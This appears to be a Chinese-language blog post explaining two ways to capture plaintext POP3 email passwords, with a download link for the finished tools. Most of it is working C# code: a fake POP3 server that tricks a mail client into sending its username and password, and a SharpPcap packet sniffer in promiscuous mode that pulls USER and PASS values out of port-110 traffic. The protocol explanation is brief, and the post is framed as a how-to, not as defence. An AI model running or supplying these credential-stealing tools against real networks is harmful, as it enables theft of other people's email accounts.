成品与代码可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下载
来说下pop协议,
英文版,https://tools.ietf.org/html/rfc1939
中文版,http://www.cnpaf.net/class/pop3/200408/122.html
pop 协议基于 tcp 协议,以明文ascii码的形式传输内容。且不区分大小写。
这里说下2种获取密码的方式:
- pop协议分析
- pop数据包分析
(一) pop协议分析
pop协议分析,就是伪造了一个邮件服务器,诱骗客户端传输密码,过程如下。
http://www.cnblogs.com/rr163/p/4209944.html 这位同学给了一个很好的demo.
里面写了个CAPA,开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单.
如果用FoxMail 客户端是没用这个的,如果用的outlook,会传输此命令。
代码 如下,就是复制别人的(^_^)。
using System; using System.Net; using System.Net.Sockets; using System.Text; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { try { IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110); TcpListener tcpServer = new TcpListener(ipEndPoint); tcpServer.Start(); TcpClient tcpClient = tcpServer.AcceptTcpClient(); NetworkStream ns = tcpClient.GetStream(); byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服务器的欢迎 ns.Write(outbytes, 0, outbytes.Length); byte[] userBytes = new byte[255];//密码存储 ns.Read(userBytes, 0, userBytes.Length); string capa = Encoding.ASCII.GetString(userBytes);// if (capa.IndexOf("CAPA") >= 0)//开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单 { byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine); ns.Write(capaByteArr, 0, capaByteArr.Length); ns.Read(userBytes, 0, userBytes.Length); } outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine); ns.Write(outbytes, 0, outbytes.Length); byte[] pwdBytes = new byte[255]; ns.Read(pwdBytes, 0, pwdBytes.Length); string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("\r\n", "").Replace("\0", ""); string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("\r\n", "").Replace("\0", ""); tcpClient.Close(); Console.WriteLine(string.Format("用户名:{0}\r\n密 码:{1}",user,pass)); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } Console.ReadKey(); } } }
然后设置下pop的服务器为127.0.0.1。 端口110,非加密传输。
收发下邮件,结果如下
(二)pop数据包分析(这里讲的多)
Pop3是基于TCP协议的,那来说说它的结构。以太网包头+IP包头+TCP/UDP+内容 4部分构成。
四种以太网数据包详解
Ethernet II协议,(pop3用的这个)
Ethernet 802.2协议,
Ethernet 802.3协议(IPX/SPX协议)
Ethernet SNAP协议,
说下POP3的数据包。
Ethernet II协议部分, 由6字节目标mac地址,6字节源mac地址,2字节协议类型构成,共14个字节
IP协议部分,由20个固定字节与40个可变字节构成,内容太多,大家去百度就好。IP地址就在这里,POP3里没有扩展内容,所以就是固定20字节。
TCP协议部分,依然是20个固定字节作为首部,TCP报文首部的最大长度是 80字节。选项部分为MSS( Maximum Segment Size 最大报文段长度,以太网默认为1460)。MSS=TCP报文段长度-TCP首部长度,所以1460不是确定值。
这里有源端口号与目的端口号(占2字节)分别是目的端口号(占2字节),就在头文件里。
。
内容部分,就是ascii码。
来说思路:
1. 只查看端口为110的包.(为因默认在第38个字节)
2. 如有”USER”的包记录下用户名,如果有”PASS”的包,记录为密码。
这里用的是C#语言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下载。
需要安装wincap(百度下就能下载到)。
引用PacketDotNet.dll,SharpPcap.dll。 结果如下。
代码如下:
using System; using System.Text; using SharpPcap; using SharpPcap.LibPcap; namespace ConsoleApplication2 { class Program { static string userName = string.Empty; static CaptureDeviceList devices = CaptureDeviceList.Instance; static ICaptureDevice device; static void Main(string[] args) { try { getAdapter(); Console.WriteLine(""); Console.Write("请选择网卡编号:"); string macIndexStr = Console.ReadLine(); int macIndex = int.Parse(macIndexStr); Console.WriteLine("编号为:"+macIndex+",开始监听..."); devices = CaptureDeviceList.Instance; device = devices[macIndex]; device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival); int readTimeoutMilliseconds = 1000; device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds); device.StartCapture(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } Console.ReadKey(); } private static void getAdapter()//获取网卡 { int macIndex = 0; var devices = LibPcapLiveDeviceList.Instance; //var devices = WinPcapDeviceList.Instance; //var devices = CaptureDeviceList.Instance; if (devices.Count < 1) Console.WriteLine("此设备上没有网卡"); else foreach (var dev in devices) { Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName); macIndex++; } } private static string HexArrToAscii(byte[] s) { StringBuilder sb = new StringBuilder(); foreach (byte b in s) { char c = (char)b; if (!char.IsControl(c)) { sb.Append(c); } else { sb.Append(‘.‘); } } return sb.ToString(); } private static void device_OnPacketArrival(object sender, CaptureEventArgs e) { var pData = e.Packet.Data; if (pData.Length >= 37) { if (pData[37] != 110) //如果不是110 端口,则不记录 { return; } } string hexStr = HexArrToAscii(pData); char[] packetArr = hexStr.ToCharArray(); if (packetArr.Length >= 54) { for (int i = 0; i < packetArr.Length - 2; i++) { if (packetArr[i] == ‘U‘ && packetArr[i + 1] == ‘S‘ && packetArr[i + 2] == ‘E‘ && packetArr[i + 3] == ‘R‘) { int passLength = packetArr.Length - i - 3 - 2; //i + 3长度是数据包头,2长度是控制符 char[] userArr = new char[passLength]; for (int j = 0; j < passLength - 2; j++) { userArr[j] = packetArr[i + 3 + j + 2]; } string resultPass = new string(userArr); userName = resultPass; } } } if (!string.IsNullOrEmpty(userName) && packetArr.Length >= 57) { for (int i = 0; i < packetArr.Length - 2; i++) { if (packetArr[i] == ‘P‘ && packetArr[i + 1] == ‘A‘ && packetArr[i + 2] == ‘S‘ && packetArr[i + 3] == ‘S‘) { int passLength = packetArr.Length - i - 3 - 2;//i + 3长度是数据包头,2长度是控制符 char[] passArr = new char[passLength]; for (int j = 0; j < passLength - 2; j++) { passArr[j] = packetArr[i + 3 + j + 2]; } string resultPass = new string(passArr); Console.WriteLine(); Console.WriteLine(string.Format("用户名:{0}\r\n密 码:{1}", userName, resultPass)); return; } } } } } }
原文地址:https://www.cnblogs.com/likehc/p/10140174.html